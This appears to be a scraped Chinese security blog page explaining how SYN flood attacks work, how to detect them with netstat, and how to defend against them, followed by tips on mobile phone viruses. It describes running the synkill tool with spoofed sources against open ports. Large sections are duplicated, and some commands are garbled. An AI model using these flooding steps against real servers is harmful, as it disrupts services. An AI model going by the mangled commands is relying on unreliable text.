在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。
第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;
第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;
第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。
完成三次握手,客户端与服务器开始传送数据,在上述过程中,还有一些重要的概念:
未连接队列:在三次握手协议中,服务器维护一个未连接队列,该队列为每个客户端的SYN包(syn=j)开设一个条目,该条目表明服务器已收到SYN包,并向客户发出确认,正在等待客户的确认包。这些条目所标识的连接在服务器处于Syn_RECV状态,当服务器收到客户的确认包时,删除该条目,服务器进入ESTABLISHED状态。
Backlog参数:表示未连接队列的最大容纳数目。
SYN-ACK 重传次数 服务器发送完SYN-ACK包,如果未收到客户确认包,服务器进行首次重传,等待一段时间仍未收到客户确认包,进行第二次重传,如果重传次数超过系统规定的最大重传次数,系统将该连接信息从半连接队列中删除。注意,每次重传等待的时间不一定相同。
半连接存活时间:是指半连接队列的条目存活的最长时间,也即服务从收到SYN包到确认这个报文无效的最长时间,该时间值是所有重传请求包的最长等待时间总和。有时我们也称半连接存活时间为Timeout时间、SYN_RECV存活时间。
二、SYN攻击原理
SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。SYN攻击除了能影响主机外,还可以危害路由器、防火墙等网络系统,事实上SYN攻击并不管目标是什么系统,只要这些系统打开TCP服务就可以实施。从上图可看到,服务器接收到连接请求(syn=j),将此信息加入未连接队列,并发送请求包给客户(syn=k,ack=j+1),此时进入SYN_RECV状态。当服务器未收到客户端的确认包时,重发请求包,一直到超时,才将此条目从未连接队列删除。配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。
三、SYN攻击工具
SYN攻击实现起来非常的简单,互联网上有大量现成的SYN攻击工具。
1、Windows系统下的SYN工具
以synkill.exe为例,运行工具,选择随机的源地址和源端囗,并填写目标机器地址和TCP端囗,激活运行,很快就会发现目标系统运行缓慢。如果攻击效果不明显,可能是目标机器并未开启所填写的TCP端囗或者防火墙拒绝访问该端囗,此时可选择允许访问的TCP端囗,通常,windows系统开放tcp139端囗,UNIX系统开放tcp7、21、23等端囗。
四、检测SYN攻击
检测SYN攻击非常的方便,当你在服务器上看到大量的半连接状态时,特别是源IP地址是随机的,基本上可以断定这是一次SYN攻击。我们使用系统自带的netstat 工具来检测SYN攻击:
# netstat -n -p TCP tcp 0 0 10.11.11.11:23124.173.152.8:25882 SYN_RECV - tcp 0 0 10.11.11.11:23236.15.133.204:2577 SYN_RECV - tcp 0 0 10.11.11.11:23127.160.6.129:51748 SYN_RECV - tcp 0 0 10.11.11.11:23222.220.13.25:47393 SYN_RECV - tcp 0 0 10.11.11.11:23212.200.204.182:60427 SYN_RECV - tcp 0 0 10.11.11.11:23232.115.18.38:278 SYN_RECV - tcp 0 0 10.11.11.11:23239.116.95.96:5122SYN_RECV - tcp 0 0 10.11.11.11:23236.219.139.207:49162 SYN_RECV - ...
上面是在LINUX系统中看到的,很多连接处于SYN_RECV状态(在WINDOWS系统中是SYN_RECEIVED状态),源IP地址都是随机的,表明这是一种带有IP欺骗的SYN攻击。
我们也可以通过下面的命令直接查看在LINUX环境下某个端囗的未连接队列的条目数:
#netstat -n -p TCP grep SYN_RECV grep :22 wc -l 324
显示TCP端囗22的未连接数有324个,虽然还远达不到系统极限,但应该引起管理员的注意。
五、SYN攻击防范技术
关于SYN攻击防范技术,人们研究得比较早。归纳起来,主要有两大类,一类是通过防火墙、路由器等过滤网关防护,另一类是通过加固TCP/IP协议栈防范.但必须清楚的是,SYN攻击不能完全被阻止,我们所做的是尽可能的减轻SYN攻击的危害,除非将TCP协议重新设计。
1、过滤网关防护
这里,过滤网关主要指明防火墙,当然路由器也能成为过滤网关。防火墙部署在不同网络之间,防范外来非法攻击和防止保密信息外泄,它处于客户端和服务器之间,利用它来防护SYN攻击能起到很好的效果。过滤网关防护主要包括超时设置,SYN网关和SYN代理三种。
■网关超时设置:
防火墙设置SYN转发超时参数(状态检测的防火墙可在状态表里面设置),该参数远小于服务器的timeout时间。当客户端发送完SYN包,服务端发送确认包后(SYN+ACK),防火墙如果在计数器到期时还未收到客户端的确认包(ACK),则往服务器发送RST包,以使服务器从队列中删去该半连接。值得注意的是,网关超时参数设置不宜过小也不宜过大,超时参数设置过小会影响正常的通讯,设置太大,又会影响防范SYN攻击的效果,必须根据所处的网络应用环境来设置此参数。
■SYN网关:
SYN网关收到客户端的SYN包时,直接转发给服务器;SYN网关收到服务器的SYN/ACK包后,将该包转发给客户端,同时以客户端的名义给服务器发ACK确认包。此时服务器由半连接状态进入连接状态。当客户端确认包到达时,如果有数据则转发,否则丢弃。事实上,服务器除了维持半连接队列外,还要有一个连接队列,如果发生SYN攻击时,将使连接队列数目增加,但一般服务器所能承受的连接数量比半连接数量大得多,所以这种方法能有效地减轻对服务器的攻击。
■SYN代理:
当客户端SYN包到达过滤网关时,SYN代理并不转发SYN包,而是以服务器的名义主动回复SYN/ACK包给客户,如果收到客户的ACK包,表明这是正常的访问,此时防火墙向服务器发送ACK包并完成三次握手。SYN代理事实上代替了服务器去处理SYN攻击,此时要求过滤网关自身具有很强的防范SYN攻击能力。
2、加固tcp/ip协议栈
防范SYN攻击的另一项主要技术是调整tcp/ip协议栈,修改tcp协议实现。主要方法有SynAttackProtect保护机制、SYN cookies技术、增加最大半连接和缩短超时时间等。tcp/ip协议栈的调整可能会引起某些功能的受限,管理员应该在进行充分了解和测试的前提下进行此项工作。
■SynAttackProtect机制
为防范SYN攻击,win2000系统的tcp/ip协议栈内嵌了SynAttackProtect机制,Win2003系统也采用此机制。SynAttackProtect机制是通过关闭某些socket选项,增加额外的连接指示和减少超时时间,使系统能处理更多的SYN连接,以达到防范SYN攻击的目的。默认情况下,Win2000操作系统并不支持SynAttackProtect保护机制,需要在注册表以下位置增加SynAttackProtect键值:
HKLMSYSTEMCurrentControlSetServicesTcpipParameters
当SynAttackProtect值(如无特别说明,本文提到的注册表键值都为十六进制)为0或不设置时,系统不受SynAttackProtect保护。
当SynAttackProtect值为1时,系统通过减少重传次数和延迟未连接时路由缓冲项(route cache entry)防范SYN攻击。
当SynAttackProtect值为2时(Microsoft推荐使用此值),系统不仅使用backlog队列,还使用附加的半连接指示,以此来处理更多的SYN连接,使用此键值时,tcp/ip的TCPInitialRTT、window size和可滑动窗囗将被禁止。
我们应该知道,平时,系统是不启用SynAttackProtect机制的,仅在检测到SYN攻击时,才启用,并调整tcp/ip协议栈。那么系统是如何检测SYN攻击发生的呢?事实上,系统根据TcpMaxHalfOpen,TcpMaxHalfOpenRetried 和TcpMaxPortsExhausted三个参数判断是否遭受SYN攻击。
TcpMaxHalfOpen 表示能同时处理的最大半连接数,如果超过此值,系统认为正处于SYN攻击中。Win2000 server默认值为100,Win2000 Advanced server为500。
TcpMaxHalfOpenRetried定义了保存在backlog队列且重传过的半连接数,如果超过此值,系统自动启动SynAttackProtect机制。Win2000 server默认值为80,Win2000 Advanced server为400。
TcpMaxPortsExhausted 是指系统拒绝的SYN请求包的数量,默认是5。
如果想调整以上参数的默认值,可以在注册表里修改(位置与SynAttackProtect相同)
■ SYN cookies技术
我们知道,TCP协议开辟了一个比较大的内存空间backlog队列来存储半连接条目,当SYN请求不断增加,并这个空间,致使系统丢弃SYN连接。为使半连接队列被塞满的情况下,服务器仍能处理新到的SYN请求,SYN cookies技术被设计出来。
SYN cookies应用于linux、FreeBSD等操作系统,当半连接队列满时,SYNcookies并不丢弃SYN请求,而是通过加密技术来标识半连接状态。
在TCP实现中,当收到客户端的SYN请求时,服务器需要回复SYN+ACK包给客户端,客户端也要发送确认包给服务器。通常,服务器的初始序列号由服务器按照一定的规律计算得到或采用随机数,但在SYN cookies中,服务器的初始序列号是通过对客户端IP地址、客户端端囗、服务器IP地址和服务器端囗以及其他一些安全数值等要素进行hash运算,加密得到的,称之为cookie。当服务器遭受SYN攻击使得backlog队列满时,服务器并不拒绝新的SYN请求,而是回复cookie(回复包的SYN序列号)给客户端, 如果收到客户端的ACK包,服务器将客户端的ACK序列号减去1得到cookie比较值,并将上述要素进行一次hash运算,看看是否等于此cookie。如果相等,直接完成三次握手(注意:此时并不用查看此连接是否属于backlog队列)。
在RedHat linux中,启用SYN cookies是通过在启动环境中设置以下命令来完成:
# echo 1 ?? /proc/sys/net/ipv4/tcp_syncookies
■ 增加最大半连接数
大量的SYN请求导致未连接队列被塞满,使正常的TCP连接无法顺利完成三次握手,通过增大未连接队列空间可以缓解这种压力。当然backlog队列需要占用大量的内存资源,不能被无限的扩大。
WIN2000:除了上面介绍的TcpMaxHalfOpen, TcpMaxHalfOpenRetried参数外,WIN2000操作系统可以通过设置动态backlog(dynamic backlog)来增大系统所能容纳的最大半连接数,配置动态backlog由AFD.SYS驱动完成,AFD.SYS是一种内核级的驱动,用于支持基于window socket的应用程序,比如ftp、telnet等。AFD.SYS在注册表的位置:
HKLMSystemCurrentControlSetServicesAFDParametersEnableDynamicBacklog值为1时,表示启用动态backlog,可以修改最大半连接数。
MinimumDynamicBacklog表示半连接队列为单个TCP端囗分配的最小空闲连接数,当该TCP端囗在backlog队列的空闲连接小于此临界值时,系统为此端囗自动启用扩展的空闲连接(DynamicBacklogGrowthDelta),Microsoft推荐该值为20。
MaximumDynamicBacklog是当前活动的半连接和空闲连接的和,当此和超过某个临界值时,系统拒绝SYN包,Microsoft推荐MaximumDynamicBacklog值不得超过2000。
DynamicBacklogGrowthDelta值是指扩展的空闲连接数,此连接数并不计算在MaximumDynamicBacklog内,当半连接队列为某个TCP端囗分配的空闲连接小于MinimumDynamicBacklog时,系统自动分配DynamicBacklogGrowthDelta所定义的空闲连接空间,以使该TCP端囗能处理更多的半连接。Microsoft推荐该值为10。
LINUX:Linux用变量tcp_max_syn_backlog定义backlog队列容纳的最大半连接数。在Redhat 7.3中,该变量的值默认为256,这个值是远远不够的,一次强度不大的SYN攻击就能使半连接队列占满。我们可以通过以下命令修改此变量的值:
# sysctl -w net.ipv4.tcp_max_syn_backlog=`2048`
Sun Solaris Sun Solaris用变量tcp_conn_req_max_q0来定义最大半连接数,在Sun Solaris 8中,该值默认为1024,可以通过add命令改变这个值:
# ndd -set /dev/tcp tcp_conn_req_max_q0 2048
HP-UX:HP-UX用变量tcp_syn_rcvd_max来定义最大半连接数,在HP-UX 11.00中,该值默认为500,可以通过ndd命令改变默认值:
#ndd -set /dev/tcp tcp_syn_rcvd_max 2048
■缩短超时时间
上文提到,通过增大backlog队列能防范SYN攻击;另外减少超时时间也使系统能处理更多的SYN请求。我们知道,timeout超时时间,也即半连接存活时间,是系统所有重传次数等待的超时时间总和,这个值越大,半连接数占用backlog队列的时间就越长,系统能处理的SYN请求就越少。为缩短超时时间,可以通过缩短重传超时时间(一般是第一次重传超时时间)和减少重传次数来实现。
Win2000第一次重传之前等待时间默认为3秒,为改变此默认值,可以通过修改网络接囗在注册表里的TcpInitialRtt注册值来完成。重传次数由TcpMaxConnectResponseRetransmissions 来定义,注册表的位置是:HKLMSYSTEMCurrentControlSetServicesTcpipParameters registry key。
当然我们也可以把重传次数设置为0次,这样服务器如果在3秒内还未收到ack确认包就自动从backlog队列中删除该连接条目。
LINUX:Redhat使用变量tcp_synack_retries定义重传次数,其默认值是5次,总超时时间需要3分钟。
Sun Solaris Solaris 默认的重传次数是3次,总超时时间为3分钟,可以通过ndd命令修改这些默认值。(t003)
据统计,在所有黑客攻击事件中,SYN攻击是最常见又最容易被利用的一种攻击手法。相信很多人还记得2000年YAHOO网站遭受的攻击事例,当时黑客利用的就是简单而有效的SYN攻击,有些网络蠕虫病毒配合SYN攻击造成更大的破坏。本文介绍SYN攻击的基本原理、工具及检测方法,并全面探讨SYN攻击防范技术。
一、TCP握手协议
在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。
第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;
第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;
第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。
完成三次握手,客户端与服务器开始传送数据,在上述过程中,还有一些重要的概念:
未连接队列:在三次握手协议中,服务器维护一个未连接队列,该队列为每个客户端的SYN包(syn=j)开设一个条目,该条目表明服务器已收到SYN包,并向客户发出确认,正在等待客户的确认包。这些条目所标识的连接在服务器处于Syn_RECV状态,当服务器收到客户的确认包时,删除该条目,服务器进入ESTABLISHED状态。
Backlog参数:表示未连接队列的最大容纳数目。
SYN-ACK 重传次数 服务器发送完SYN-ACK包,如果未收到客户确认包,服务器进行首次重传,等待一段时间仍未收到客户确认包,进行第二次重传,如果重传次数超过系统规定的最大重传次数,系统将该连接信息从半连接队列中删除。注意,每次重传等待的时间不一定相同。
半连接存活时间:是指半连接队列的条目存活的最长时间,也即服务从收到SYN包到确认这个报文无效的最长时间,该时间值是所有重传请求包的最长等待时间总和。有时我们也称半连接存活时间为Timeout时间、SYN_RECV存活时间。
二、SYN攻击原理
SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。SYN攻击除了能影响主机外,还可以危害路由器、防火墙等网络系统,事实上SYN攻击并不管目标是什么系统,只要这些系统打开TCP服务就可以实施。从上图可看到,服务器接收到连接请求(syn=j),将此信息加入未连接队列,并发送请求包给客户(syn=k,ack=j+1),此时进入SYN_RECV状态。当服务器未收到客户端的确认包时,重发请求包,一直到超时,才将此条目从未连接队列删除。配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。
三、SYN攻击工具
SYN攻击实现起来非常的简单,互联网上有大量现成的SYN攻击工具。
1、Windows系统下的SYN工具
以synkill.exe为例,运行工具,选择随机的源地址和源端囗,并填写目标机器地址和TCP端囗,激活运行,很快就会发现目标系统运行缓慢。如果攻击效果不明显,可能是目标机器并未开启所填写的TCP端囗或者防火墙拒绝访问该端囗,此时可选择允许访问的TCP端囗,通常,windows系统开放tcp139端囗,UNIX系统开放tcp7、21、23等端囗。
四、检测SYN攻击
检测SYN攻击非常的方便,当你在服务器上看到大量的半连接状态时,特别是源IP地址是随机的,基本上可以断定这是一次SYN攻击。我们使用系统自带的netstat 工具来检测SYN攻击:
# netstat -n -p TCP tcp 0 0 10.11.11.11:23124.173.152.8:25882 SYN_RECV - tcp 0 0 10.11.11.11:23236.15.133.204:2577 SYN_RECV - tcp 0 0 10.11.11.11:23127.160.6.129:51748 SYN_RECV - tcp 0 0 10.11.11.11:23222.220.13.25:47393 SYN_RECV - tcp 0 0 10.11.11.11:23212.200.204.182:60427 SYN_RECV - tcp 0 0 10.11.11.11:23232.115.18.38:278 SYN_RECV - tcp 0 0 10.11.11.11:23239.116.95.96:5122SYN_RECV - tcp 0 0 10.11.11.11:23236.219.139.207:49162 SYN_RECV - ...
上面是在LINUX系统中看到的,很多连接处于SYN_RECV状态(在WINDOWS系统中是SYN_RECEIVED状态),源IP地址都是随机的,表明这是一种带有IP欺骗的SYN攻击。
我们也可以通过下面的命令直接查看在LINUX环境下某个端囗的未连接队列的条目数:
#netstat -n -p TCP grep SYN_RECV grep :22 wc -l 324
显示TCP端囗22的未连接数有324个,虽然还远达不到系统极限,但应该引起管理员的注意。
五、SYN攻击防范技术
关于SYN攻击防范技术,人们研究得比较早。归纳起来,主要有两大类,一类是通过防火墙、路由器等过滤网关防护,另一类是通过加固TCP/IP协议栈防范.但必须清楚的是,SYN攻击不能完全被阻止,我们所做的是尽可能的减轻SYN攻击的危害,除非将TCP协议重新设计。
1、过滤网关防护
这里,过滤网关主要指明防火墙,当然路由器也能成为过滤网关。防火墙部署在不同网络之间,防范外来非法攻击和防止保密信息外泄,它处于客户端和服务器之间,利用它来防护SYN攻击能起到很好的效果。过滤网关防护主要包括超时设置,SYN网关和SYN代理三种。
■网关超时设置:
防火墙设置SYN转发超时参数(状态检测的防火墙可在状态表里面设置),该参数远小于服务器的timeout时间。当客户端发送完SYN包,服务端发送确认包后(SYN+ACK),防火墙如果在计数器到期时还未收到客户端的确认包(ACK),则往服务器发送RST包,以使服务器从队列中删去该半连接。值得注意的是,网关超时参数设置不宜过小也不宜过大,超时参数设置过小会影响正常的通讯,设置太大,又会影响防范SYN攻击的效果,必须根据所处的网络应用环境来设置此参数。
■SYN网关:
SYN网关收到客户端的SYN包时,直接转发给服务器;SYN网关收到服务器的SYN/ACK包后,将该包转发给客户端,同时以客户端的名义给服务器发ACK确认包。此时服务器由半连接状态进入连接状态。当客户端确认包到达时,如果有数据则转发,否则丢弃。事实上,服务器除了维持半连接队列外,还要有一个连接队列,如果发生SYN攻击时,将使连接队列数目增加,但一般服务器所能承受的连接数量比半连接数量大得多,所以这种方法能有效地减轻对服务器的攻击。
■SYN代理:
当客户端SYN包到达过滤网关时,SYN代理并不转发SYN包,而是以服务器的名义主动回复SYN/ACK包给客户,如果收到客户的ACK包,表明这是正常的访问,此时防火墙向服务器发送ACK包并完成三次握手。SYN代理事实上代替了服务器去处理SYN攻击,此时要求过滤网关自身具有很强的防范SYN攻击能力。
2、加固tcp/ip协议栈
防范SYN攻击的另一项主要技术是调整tcp/ip协议栈,修改tcp协议实现。主要方法有SynAttackProtect保护机制、SYN cookies技术、增加最大半连接和缩短超时时间等。tcp/ip协议栈的调整可能会引起某些功能的受限,管理员应该在进行充分了解和测试的前提下进行此项工作。
■SynAttackProtect机制
为防范SYN攻击,win2000系统的tcp/ip协议栈内嵌了SynAttackProtect机制,Win2003系统也采用此机制。SynAttackProtect机制是通过关闭某些socket选项,增加额外的连接指示和减少超时时间,使系统能处理更多的SYN连接,以达到防范SYN攻击的目的。默认情况下,Win2000操作系统并不支持SynAttackProtect保护机制,需要在注册表以下位置增加SynAttackProtect键值:
HKLMSYSTEMCurrentControlSetServicesTcpipParameters
当SynAttackProtect值(如无特别说明,本文提到的注册表键值都为十六进制)为0或不设置时,系统不受SynAttackProtect保护。
当SynAttackProtect值为1时,系统通过减少重传次数和延迟未连接时路由缓冲项(route cache entry)防范SYN攻击。
当SynAttackProtect值为2时(Microsoft推荐使用此值),系统不仅使用backlog队列,还使用附加的半连接指示,以此来处理更多的SYN连接,使用此键值时,tcp/ip的TCPInitialRTT、window size和可滑动窗囗将被禁止。
我们应该知道,平时,系统是不启用SynAttackProtect机制的,仅在检测到SYN攻击时,才启用,并调整tcp/ip协议栈。那么系统是如何检测SYN攻击发生的呢?事实上,系统根据TcpMaxHalfOpen,TcpMaxHalfOpenRetried 和TcpMaxPortsExhausted三个参数判断是否遭受SYN攻击。
TcpMaxHalfOpen 表示能同时处理的最大半连接数,如果超过此值,系统认为正处于SYN攻击中。Win2000 server默认值为100,Win2000 Advanced server为500。
TcpMaxHalfOpenRetried定义了保存在backlog队列且重传过的半连接数,如果超过此值,系统自动启动SynAttackProtect机制。Win2000 server默认值为80,Win2000 Advanced server为400。
TcpMaxPortsExhausted 是指系统拒绝的SYN请求包的数量,默认是5。
如果想调整以上参数的默认值,可以在注册表里修改(位置与SynAttackProtect相同)
■ SYN cookies技术
我们知道,TCP协议开辟了一个比较大的内存空间backlog队列来存储半连接条目,当SYN请求不断增加,并这个空间,致使系统丢弃SYN连接。为使半连接队列被塞满的情况下,服务器仍能处理新到的SYN请求,SYN cookies技术被设计出来。
SYN cookies应用于linux、FreeBSD等操作系统,当半连接队列满时,SYNcookies并不丢弃SYN请求,而是通过加密技术来标识半连接状态。
在TCP实现中,当收到客户端的SYN请求时,服务器需要回复SYN+ACK包给客户端,客户端也要发送确认包给服务器。通常,服务器的初始序列号由服务器按照一定的规律计算得到或采用随机数,但在SYN cookies中,服务器的初始序列号是通过对客户端IP地址、客户端端囗、服务器IP地址和服务器端囗以及其他一些安全数值等要素进行hash运算,加密得到的,称之为cookie。当服务器遭受SYN攻击使得backlog队列满时,服务器并不拒绝新的SYN请求,而是回复cookie(回复包的SYN序列号)给客户端, 如果收到客户端的ACK包,服务器将客户端的ACK序列号减去1得到cookie比较值,并将上述要素进行一次hash运算,看看是否等于此cookie。如果相等,直接完成三次握手(注意:此时并不用查看此连接是否属于backlog队列)。
在RedHat linux中,启用SYN cookies是通过在启动环境中设置以下命令来完成:
# echo 1 ?? /proc/sys/net/ipv4/tcp_syncookies
■ 增加最大半连接数
大量的SYN请求导致未连接队列被塞满,使正常的TCP连接无法顺利完成三次握手,通过增大未连接队列空间可以缓解这种压力。当然backlog队列需要占用大量的内存资源,不能被无限的扩大。
WIN2000:除了上面介绍的TcpMaxHalfOpen, TcpMaxHalfOpenRetried参数外,WIN2000操作系统可以通过设置动态backlog(dynamic backlog)来增大系统所能容纳的最大半连接数,配置动态backlog由AFD.SYS驱动完成,AFD.SYS是一种内核级的驱动,用于支持基于window socket的应用程序,比如ftp、telnet等。AFD.SYS在注册表的位置:
HKLMSystemCurrentControlSetServicesAFDParametersEnableDynamicBacklog值为1时,表示启用动态backlog,可以修改最大半连接数。
MinimumDynamicBacklog表示半连接队列为单个TCP端囗分配的最小空闲连接数,当该TCP端囗在backlog队列的空闲连接小于此临界值时,系统为此端囗自动启用扩展的空闲连接(DynamicBacklogGrowthDelta),Microsoft推荐该值为20。
MaximumDynamicBacklog是当前活动的半连接和空闲连接的和,当此和超过某个临界值时,系统拒绝SYN包,Microsoft推荐MaximumDynamicBacklog值不得超过2000。
DynamicBacklogGrowthDelta值是指扩展的空闲连接数,此连接数并不计算在MaximumDynamicBacklog内,当半连接队列为某个TCP端囗分配的空闲连接小于MinimumDynamicBacklog时,系统自动分配DynamicBacklogGrowthDelta所定义的空闲连接空间,以使该TCP端囗能处理更多的半连接。Microsoft推荐该值为10。
LINUX:Linux用变量tcp_max_syn_backlog定义backlog队列容纳的最大半连接数。在Redhat 7.3中,该变量的值默认为256,这个值是远远不够的,一次强度不大的SYN攻击就能使半连接队列占满。我们可以通过以下命令修改此变量的值:
# sysctl -w net.ipv4.tcp_max_syn_backlog=`2048`
Sun Solaris Sun Solaris用变量tcp_conn_req_max_q0来定义最大半连接数,在Sun Solaris 8中,该值默认为1024,可以通过add命令改变这个值:
# ndd -set /dev/tcp tcp_conn_req_max_q0 2048
HP-UX:HP-UX用变量tcp_syn_rcvd_max来定义最大半连接数,在HP-UX 11.00中,该值默认为500,可以通过ndd命令改变默认值:
#ndd -set /dev/tcp tcp_syn_rcvd_max 2048
■缩短超时时间
上文提到,通过增大backlog队列能防范SYN攻击;另外减少超时时间也使系统能处理更多的SYN请求。我们知道,timeout超时时间,也即半连接存活时间,是系统所有重传次数等待的超时时间总和,这个值越大,半连接数占用backlog队列的时间就越长,系统能处理的SYN请求就越少。为缩短超时时间,可以通过缩短重传超时时间(一般是第一次重传超时时间)和减少重传次数来实现。
Win2000第一次重传之前等待时间默认为3秒,为改变此默认值,可以通过修改网络接囗在注册表里的TcpInitialRtt注册值来完成。重传次数由TcpMaxConnectResponseRetransmissions 来定义,注册表的位置是:HKLMSYSTEMCurrentControlSetServicesTcpipParameters registry key。
当然我们也可以把重传次数设置为0次,这样服务器如果在3秒内还未收到ack确认包就自动从backlog队列中删除该连接条目。
LINUX:Redhat使用变量tcp_synack_retries定义重传次数,其默认值是5次,总超时时间需要3分钟。
Sun Solaris Solaris 默认的重传次数是3次,总超时时间为3分钟,可以通过ndd命令修改这些默认值。(t003)
移动也安全之WAP手机上网防病毒攻略
[ 2007-03-25 02:54:20 | 作者: sun ]
随着WAP手机技术的日趋成熟,接入互联网轻松获得大量的信息已成为未来手机发展的必然趋势。而且随着配备Java功能的i模式手机登场,手机接入互联网更为便捷,势必会因此增加手机感染病毒的机会。由于通过网络直接对WAP手机进行攻击比对GSM手机进行攻击更加简便易行,WAP手机已经成为电脑黑客攻击的重要对象。
黑客对手机进行攻击,通常采用以下三种方式:一是攻击WAP服务器,使WAP手机无法接收正常信息;二是攻击和控制“网关”,向手机发送垃圾信息(严格地说,以上两种手机病毒还属于电脑病毒,不会破坏手机本身);三是直接攻击手机本身,使手机无法提供服务。新一代的WAP手机由于其功能的多元化,因此病毒带来的灾害也会更大。侵袭WAP手机的病毒可能会自动启动电话录音功能、自动拨打电话、删除手机上的档案内容,甚至会制造出金额庞大的电话账单。
要避免手机感染病毒,用户在使用手机时要采取适当的措施:
1、关闭乱码电话。当对方的电话拨入时,屏幕上显示的应该是来电电话号码,结果却显示别的字样或奇异符号。如果遇到上述情形,用户应不回答或立即把电话关闭。如接听来电,则会感染上病毒,同时机内所有新名词及设定将被破坏。
2、尽量少从网上下载信息。病毒要想侵入且在流动网络上传送,要先破坏掉手机短信息保护系统,这本非容易的事情。但随着3G时代的来临,手机更加趋向于一台小型电脑,有电脑病毒就会有手机病毒,因此从网上下载信息时要当心感染病毒。
3、注意短信息中可能存在的病毒。短信息的收发作为移动通讯的一个重要方式,也是感染手机病毒的一个重要途径。如今手机病毒的发展已经从潜伏期过渡到了破坏期,短信息已成为下毒的常用工具。手机用户一旦接到带有病毒的短信息,阅读后便会出现手机键盘被锁,甚至破坏手机IC卡等严重效果。
4、对手机进行查杀病毒。目前查杀手机病毒的主要技术措施有两种:一是通过无线网站对手机进行杀毒;二是通过手机的IC接入口或红外传输口进行杀毒。在i模式手机中,为了禁止非法利用该功能,可采取以下的安全性措施:(1)将执行Java小程序的内存和存贮电话簿等功能的内存分割开来,从而禁止小程序访问;(2)已经下载的Java小程序只能访问保存该小程序的服务器;(3)当小程序试图利用手机的硬件功能(如使用拨号功能打电话时)便会发出警告等。
手机病毒因手机网络联系密切,影响面广,破坏力强,故不可掉以轻心。但也不必因噎废食,只要做足防范措施,便可放心使用。
黑客对手机进行攻击,通常采用以下三种方式:一是攻击WAP服务器,使WAP手机无法接收正常信息;二是攻击和控制“网关”,向手机发送垃圾信息(严格地说,以上两种手机病毒还属于电脑病毒,不会破坏手机本身);三是直接攻击手机本身,使手机无法提供服务。新一代的WAP手机由于其功能的多元化,因此病毒带来的灾害也会更大。侵袭WAP手机的病毒可能会自动启动电话录音功能、自动拨打电话、删除手机上的档案内容,甚至会制造出金额庞大的电话账单。
要避免手机感染病毒,用户在使用手机时要采取适当的措施:
1、关闭乱码电话。当对方的电话拨入时,屏幕上显示的应该是来电电话号码,结果却显示别的字样或奇异符号。如果遇到上述情形,用户应不回答或立即把电话关闭。如接听来电,则会感染上病毒,同时机内所有新名词及设定将被破坏。
2、尽量少从网上下载信息。病毒要想侵入且在流动网络上传送,要先破坏掉手机短信息保护系统,这本非容易的事情。但随着3G时代的来临,手机更加趋向于一台小型电脑,有电脑病毒就会有手机病毒,因此从网上下载信息时要当心感染病毒。
3、注意短信息中可能存在的病毒。短信息的收发作为移动通讯的一个重要方式,也是感染手机病毒的一个重要途径。如今手机病毒的发展已经从潜伏期过渡到了破坏期,短信息已成为下毒的常用工具。手机用户一旦接到带有病毒的短信息,阅读后便会出现手机键盘被锁,甚至破坏手机IC卡等严重效果。
4、对手机进行查杀病毒。目前查杀手机病毒的主要技术措施有两种:一是通过无线网站对手机进行杀毒;二是通过手机的IC接入口或红外传输口进行杀毒。在i模式手机中,为了禁止非法利用该功能,可采取以下的安全性措施:(1)将执行Java小程序的内存和存贮电话簿等功能的内存分割开来,从而禁止小程序访问;(2)已经下载的Java小程序只能访问保存该小程序的服务器;(3)当小程序试图利用手机的硬件功能(如使用拨号功能打电话时)便会发出警告等。
手机病毒因手机网络联系密切,影响面广,破坏力强,故不可掉以轻心。但也不必因噎废食,只要做足防范措施,便可放心使用。
安全技巧之解读卡巴斯基自动断开连接
[ 2007-03-25 02:54:04 | 作者: sun ]
“熊猫烧香”的作者落网了,主犯也被抓了几个,解毒程序更是在进一步鉴定中。似乎针对“熊猫烧香”病毒的斗争一切都在向着很好的方向发展,真的是这样么?解毒程序不是万能的!时至今日,“熊猫烧香”病毒的新变种还在不断出现,继续危害着计算机用户。在与瑞星专家的访谈中我们知道熊猫烧香病毒传播主要是以感染的网页文件和邮件传播为主,病毒代码多数藏匿在网页文件代码中,多数携带此类病毒的网页文件都以广告宣传种类居多,通过邮件群发的方式在网上肆意扩散,造成计算机系统的瘫痪,严重妨碍了人们的正常工作和学习。
“熊猫烧香”的作者落网了,主犯也被抓了几个,解毒程序更是在进一步鉴定中。似乎针对“熊猫烧香”病毒的斗争一切都在向着很好的方向发展,真的是这样么?
解毒程序不是万能的!时至今日,“熊猫烧香”病毒的新变种还在不断出现,继续危害着计算机用户。
在与瑞星专家的访谈中我们知道熊猫烧香病毒传播主要是以感染的网页文件和邮件传播为主,病毒代码多数藏匿在网页文件代码中,多数携带此类病毒的网页文件都以广告宣传种类居多,通过邮件群发的方式在网上肆意扩散,造成计算机系统的瘫痪,严重妨碍了人们的正常工作和学习。
